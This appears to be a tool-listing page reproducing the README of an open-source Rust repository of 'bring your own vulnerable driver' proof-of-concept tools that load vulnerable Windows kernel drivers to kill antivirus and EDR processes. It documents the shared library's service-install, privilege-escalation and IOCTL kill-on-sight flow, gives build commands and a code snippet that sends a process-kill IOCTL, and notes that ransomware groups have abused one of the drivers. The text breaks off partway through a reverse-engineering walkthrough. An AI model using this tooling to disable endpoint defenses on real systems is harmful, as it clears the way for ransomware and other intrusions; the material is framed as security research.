< Back to tools
B
Open source

BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-85

877 stars0 likes0 views
WebsiteGitHub

About

BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-85

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.

The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.


Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the EDRKillShifter tool, as reported by Sophos & ESET


Table of Contents

Overview

The BYOVD technique has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's Terminator (sold for $3,000) and the ZeroMemoryEx Blackout project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.

This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.

️ Project Structure

The project is organized as a Rust Cargo workspace. Most PoCs share a common library (byovd-lib) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. K7Terminator, Astra64-Killer, Ktapi-Killer, and Xhunter1-Killer are standalone — they have their own [workspace] declarations and are built directly from their own directories, not via the root workspace.

Each *-Killer/ directory contains its own Cargo.toml, src/main.rs (the DriverConfig impl + CLI), README.md (driver hashes + usage), and the matching .sys file the binary loads at runtime.

Building

Prerequisites: Rust toolchain and Visual Studio Build Tools with the Windows SDK.

# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binaries are output to target/release/. Copy the corresponding .sys driver file into the same directory as the executable before running.

byovd-lib

byovd-lib is the shared library that all PoCs (except K7Terminator) are built on. It exposes two complementary APIs -- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.

Module layout

byovd-lib/src/
├── lib.rs        # DriverConfig trait + run() / send_ioctl() / run_monitor()
├── service.rs    # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
├── device.rs     # DeviceHandle -- typed IOCTL dispatch (5 shapes)
├── handle.rs     # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
├── process.rs    # find_pid_by_name / find_all_pids_by_name
├── monitor.rs    # run_monitor_loop (closure-based) + setup_ctrlc_handler
├── privilege.rs  # enable_privilege / ensure_running_as_local_system
└── util.rs       # to_wstring / to_cstring / get_current_dir

High-level API: DriverConfig trait + run()

This is what the bundled killers use. Implement the trait, call byovd_lib::run(), done.

run() does: preflight_check → install service (SERVICE_DEMAND_START) → StartService → kill-on-sight monitor (Ctrl+C to exit) → stop + delete service.

Optional trait overrides with their defaults:

Method Default Purpose
device_access() SERVICE_ALL_ACCESS CreateFileW access flags
skip_unload() false Skip driver cleanup (e.g. drivers that BSOD on unload)
ignore_ioctl_error() false Treat IOCTL failure as success (e.g. NSecKrnl reports error on success)
ioctl_output_size() 0 Expected output buffer size in bytes
preflight_check() Ok(()) Pre-launch validation (e.g. LocalSystem check)

Low-level API: imperative pieces

When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.

Driver lifecycle -- ByovdDriver:

use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
driver.start()?;                       // ERROR_SERVICE_ALREADY_RUNNING is OK
let device = driver.open_device()?;    // returns DeviceHandle
// ... send IOCTLs ...
driver.stop_and_delete()?;

IOCTL dispatch -- DeviceHandle exposes five typed shapes:

Method Use when
ioctl(code, &input, &mut output) Both input and output buffers, separate types
ioctl_inout(code, &mut data) Same buffer for input + output
ioctl_in(code, &input) Input only, no output buffer
ioctl_in_unchecked(code, &input) Input only, ignore failure (per-call alternative to ignore_ioctl_error)
ioctl_raw(code, in_ptr, in_size, out_ptr, out_size) Raw pointer escape hatch

The typed forms remove the manual to_ne_bytes() / extend_from_slice() boilerplate when the IOCTL takes a struct (e.g. { pid: u32, padding: [u8; 20] }).

Process lookup -- find_pid_by_name(name) (first match) and find_all_pids_by_name(name) (all matches, excludes system PIDs ≤ 4).

Custom monitor loop -- run_monitor_loop(name, interval, |pid| ...) takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).

Privileges -- enable_privilege("SeDebugPrivilege") / enable_privilege("SeLoadDriverPrivilege") for drivers that require explicit token privileges. ensure_running_as_local_system() returns an error if the process is not running as S-1-5-18.

Handle wrappers -- WinHandle (auto-CloseHandle) and ScHandle (auto-CloseServiceHandle) are Send + Sync and can be moved across threads.

Example: attach to an already-loaded driver, no service lifecycle

This is what UnknownKiller --attach does -- skip SCM entirely, just open the device and fire the IOCTL once:

use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Back-compat aliases

FileHandle / ServiceHandle still resolve to WinHandle / ScHandle, and get_pid_by_name is kept as an alias for find_pid_by_name, so older code referencing those names keeps compiling.

POCs

Below are the drivers and their respective PoCs available in this repository:

Complete Driver Reverse Engineering Process (x64)

This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.

Step 0: Pre-Analysis - Function Import Screening

Check driver imports before starting reverse engineering.

A basic process killer driver requires 2 things:

a way to get a handle on a process (for instance ZwOpenProcess

No open issues yet, or sync has not completed.

> Tags

Rustav-killerbyovdedr-killerexploit-development

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 17, 2026
Category编程语言
PricingOpen source